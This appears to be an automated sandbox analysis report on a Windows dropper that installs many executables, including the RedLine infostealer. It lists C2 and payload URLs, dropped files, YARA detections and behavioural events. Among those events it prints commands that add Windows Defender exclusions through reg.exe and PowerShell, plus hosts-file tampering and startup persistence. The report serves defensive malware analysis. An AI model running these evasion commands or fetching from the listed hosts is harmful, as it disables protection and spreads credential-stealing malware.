            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2622067874.0000000009458000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1872848729.00000000007AB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/%
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/6
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2622089224.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688557966.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688496198.00000000007DF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/66
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1872848729.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/E
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/S_1
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2622089224.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688557966.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688496198.00000000007DF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/g
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/ity
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/llowedCert_OS_1
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/m
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/osoft
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166/tificate
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://addons.opera.com/en/extensions/details/dify-cashback/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f.opera.com
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://autoupdate.geo.opera.com/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://autoupdate.geo.opera.com/geolocation/
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/https://autoupdate.geo.opera.com/geolocation/OperaDesktophttps://cr
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592634901.00000000011CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/v5/netinstaller/opera/Stable/windows/x64
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592634901.00000000011CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/v5/netinstaller/opera/Stable/windows/x64T
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://crashpad.chromium.org/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://crashpad.chromium.org/bug/new
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://crashstats-collector.opera.com/collector/submit
            Source: file.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://dc.services.visualstudio.com/v2/track
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binary
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binary;
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryB
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryQ.
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryp
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryv.
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryx
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592634901.00000000011D7000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1598360457.0000000057328000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/download/get/?id=63821&autoupdate=1&ni=1&stream=stable&utm_campaign=767&u
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://download.opera.com/download/get/?partner=www&opsys=Windows&utm_source=netinstaller
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download3.operacdn.com/
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download3.operacdn.com/B&
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download3.operacdn.com/ftp/pub/opera/desktop/105.0.4970.16/win/Opera_105.0.4970.16_Autoupdat
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://features.opera-api2.com/
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://features.opera-api2.com/?
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://features.opera-api2.com/api/v2/features?country=%s&language=%s&uuid=%s&product=%s&channel=%s
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://features.opera-api2.com/api/v2/features?country=US&language=en-GB&uuid=da7fffaf-858c-44bb-bd
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://help.instagram.com/581066165581870;
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://help.opera.com/latest/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://legal.opera.com/eula/computers
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://legal.opera.com/privacy
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://legal.opera.com/privacy.
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://legal.opera.com/terms
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://legal.opera.com/terms.
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://opera.com/privacy
            Source: file.exe, 00000000.00000002.1468709209.0000000002B61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/V6VJsrV31https://yip.su/RNWPd.exe7https://iplogger.com/1djqU4
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://policies.google.com/terms;
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://redir.opera.com/uninstallsurvey/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://sourcecode.opera.com
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://steamcommunity.com/profiles/76561199571056594
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://steamcommunity.com/profiles/76561199571056594torosdaghello
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1726494688.000000000078C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1726494688.000000000078C000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1706606834.000000000077F000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://t.me/starcofeeth
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://t.me/starcofeethtorosdagMozilla/5.0
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://telegram.org/tos/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://twitter.com/en/tos;
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1726494688.00000000007C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.telegram.org
            Source: file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://www.opera.com
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://www.opera.com..
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://www.opera.com/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://www.opera.com/download/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://www.opera.com/privacy
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: https://www.whatsapp.com/legal;
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: c. Facebook Messenger: A messaging service provided by Facebook, Inc., Meta Platforms Ireland Ltd. or related companies, depending on where you are accessing their services. Terms of use are available at https://www.facebook.com/legal/terms; and equals www.facebook.com (Facebook)
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: hatsapp.com/legal; and c. Facebook Messenger: A messaging service provided by Facebook, Inc., Meta Platforms Ireland Ltd. or related companies, depending on where you are accessing their services. Terms of use are available at https://www.facebook.com/l equals www.facebook.com (Facebook)

            Spam, unwanted Advertisements and Ransom Demands

            barindex
            Writes many files with high entropy
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\av4uoJUKtp0Dae50mONtR9f9.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\MCSU0hpYCBYwreTAx2gvQqTW.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\VNjvZol8PlRMOfu5WlQLfgQN.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\IgULl9WjdOj8mJztw0uHvxbW.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\V77ImAzjtVAt7W94zmw0o9VA.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\bIcj5NJCkkIc9XclTK9WXZLS.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\xaRtMl281tBvEQLxjcEm29sg.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\41rSfwrrEtzdo8l6hDX9qUIY.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\lx1ggIRPyoQP8uRSWNRnkZlF.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\XIP5yv6jsSsJrnkuXRlubTEg.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\FpP9TKUra38F8BD04FwCoPto.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\37Xh5AWBBTFPX7DCQvpQDJWI.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\ss18o36u7ZpVeBt30wfMc6QL.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\Xkv4Yy91IYUWlrxVDJ9pNrAt.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\q3wz7sJmTQgL2ejSFHqUOz9e.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\uScPA2mexaYLqHB3aMjewISk.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\6D0wEbfp4dy4jAN7wi8NeRqk.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\sgT91h1OakHt6BAnyK2HYdhK.exe entropy: 7.99694759332Jump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Opera_105.0.4970.16_Autoupdate_x64[1].exe entropy: 7.99999278183Jump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\setup294[1].exe entropy: 7.99907186504Jump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\TcGLfdTBaos9JgPXgH8pOdVr.exe entropy: 7.99907186504Jump to dropped file
            Source: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeFile created: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\__data__\config.txt entropy: 7.99984399882Jump to dropped file
            Source: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeFile created: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exe entropy: 7.99578478384Jump to dropped file
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeFile created: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\__data__\config.txt entropy: 7.99984399882Jump to dropped file
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeFile created: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exe entropy: 7.99578478384Jump to dropped file
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeFile created: C:\Users\user\AppData\Local\Temp\7zS2AC3.tmp\__data__\config.txt entropy: 7.99984399882Jump to dropped file
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeFile created: C:\Users\user\AppData\Local\Temp\7zS2AC3.tmp\Install.exe entropy: 7.99578478384Jump to dropped file
            Modifies the hosts file
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeFile written: C:\Windows\System32\drivers\etc\hosts

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exe, type: DROPPEDMatched rule: Detects RedLine infostealer Author: ditekSHen
            .NET source code contains very large array initializations
            Source: file.exe, 0Tx8jvbUIwHqhYZOzFadM.csLarge array initialization: TtxpBLPv2YZhO: array initializer size 1120256
            Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0296DF840_2_0296DF84
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_004162A632_2_004162A6
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_0040E5A532_2_0040E5A5
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_004126B032_2_004126B0
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00403A0132_2_00403A01
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00418EF132_2_00418EF1
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00418FCB32_2_00418FCB
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: dlnashext.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: wpdshext.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: twext.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: cscui.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: policymanager.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: msvcp110_win.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: workfoldersshell.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: twinapi.appcore.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: textshaping.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: starttiledata.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: coremessaging.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: usermgrcli.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: shacct.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: idstore.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: samlib.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: wlidprov.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: provsvc.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: usermgrproxy.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: acppage.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: msi.dll
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSection loaded: aepic.dll
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
            Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exe, type: DROPPEDMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeFile deleted: C:\Windows\SysWOW64\GroupPolicyESNAh
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Windows\System32\GroupPolicy\gpt.ini
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: String function: 00403A9C appears 33 times
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: String function: 00413954 appears 179 times
            Source: file.exe, 00000000.00000000.1459216534.0000000000752000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamelab_1.exe, vs file.exe
            Source: file.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameuSoJivOOU4 vs file.exe
            Source: file.exe, 00000000.00000002.1468709209.0000000002B61000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameNew.exe" vs file.exe
            Source: file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameuSoJivOOU4 vs file.exe
            Source: file.exe, 00000000.00000002.1467459676.0000000000EEE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs file.exe
            Source: file.exeStatic PE information: invalid certificate
            Source: file.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: file.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.logJump to behavior
            Source: classification engineClassification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@155/317@0/40
            Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeFile created: C:\Program Files\Google\Chrome\updater.exe
            Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat" "
            Source: file.exeReversingLabs: Detection: 40%
            Source: file.exeVirustotal: Detection: 41%
            Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\file.exe" -Force
